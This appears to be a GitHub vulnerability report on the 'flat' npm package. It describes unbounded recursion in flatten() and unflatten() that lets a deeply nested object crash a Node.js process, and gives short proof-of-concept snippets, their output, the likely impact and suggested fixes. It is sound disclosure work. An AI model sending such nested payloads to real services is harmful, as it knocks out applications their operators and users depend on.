-
Notifications
You must be signed in to change notification settings - Fork 201
Description
Summary
flat v6.0.1 flatten() function uses a recursive inner function step() (line 20-43 of index.js) to traverse nested objects. The maxDepth option is not set by default (undefined), so the recursion depth is unbounded. An attacker-controlled deeply nested object (~2,255+ levels) causes a RangeError: Maximum call stack size exceeded, crashing the Node.js process.
Severity: Medium (DoS - process crash)
CWE: CWE-674 (Uncontrolled Recursion)
Root Cause
File: index.js, line 38
function step (object, prev, currentDepth) {
currentDepth = currentDepth || 1
Object.keys(object).forEach(function (key) {
// ...
if (type === 'object' && ...) {
if (!opts.maxDepth) {
return step(value, newKey, currentDepth + 1) // UNBOUNDED RECURSION
}
}
})
}The function recurses into nested objects without any depth check when maxDepth is not set (the default).
Two Confirmed Attack Vectors
1. Direct: flatten(deepObject)
import { flatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
flatten(obj);
// RangeError: Maximum call stack size exceeded2. Indirect: unflatten({key: deepObject})
import { unflatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
unflatten({ test: obj });
// RangeError: Maximum call stack size exceeded
// (unflatten calls flatten() internally at line 109 to pre-process nested object values)PoC Output
--- PoC 1a: flatten() with deeply nested object ---
[FAIL] flatten() crashes at depth 5000: Maximum call stack size exceeded
--- PoC 1b: unflatten() crash via nested object value ---
[FAIL] unflatten() crashes with nested object value at depth 5000: Maximum call stack size exceeded
--- PoC 1c: Minimum crash depth ---
[INFO] Minimum depth causing crash: ~2255 levels
[INFO] This is well within range of attacker-crafted JSON payloads
Impact
Any application that calls flatten() on untrusted input (e.g., JSON from API requests, user-submitted data) can be crashed with a ~2,255-level nested object. The RangeError from stack overflow may not be catchable in all environments, and Node.js may terminate the entire process.
A 2,255-level nested JSON object is only ~30KB, making this a low-bandwidth DoS attack.
Suggested Fix
Either:
- Set a reasonable default
maxDepth(e.g., 100 or 500) - Convert
step()to an iterative algorithm using an explicit stack
Verified NOT Vulnerable
- Prototype pollution via
__proto__: CVE-2020-36632 fix is solid (line 121 correctly checkskey1 === '__proto__') - Prototype pollution via
constructor.prototype: Safe (constructor on{}is Function type, isobject=false) - ReDoS: No regex used anywhere in the package
- Algorithmic complexity: All operations are O(n) in the number of keys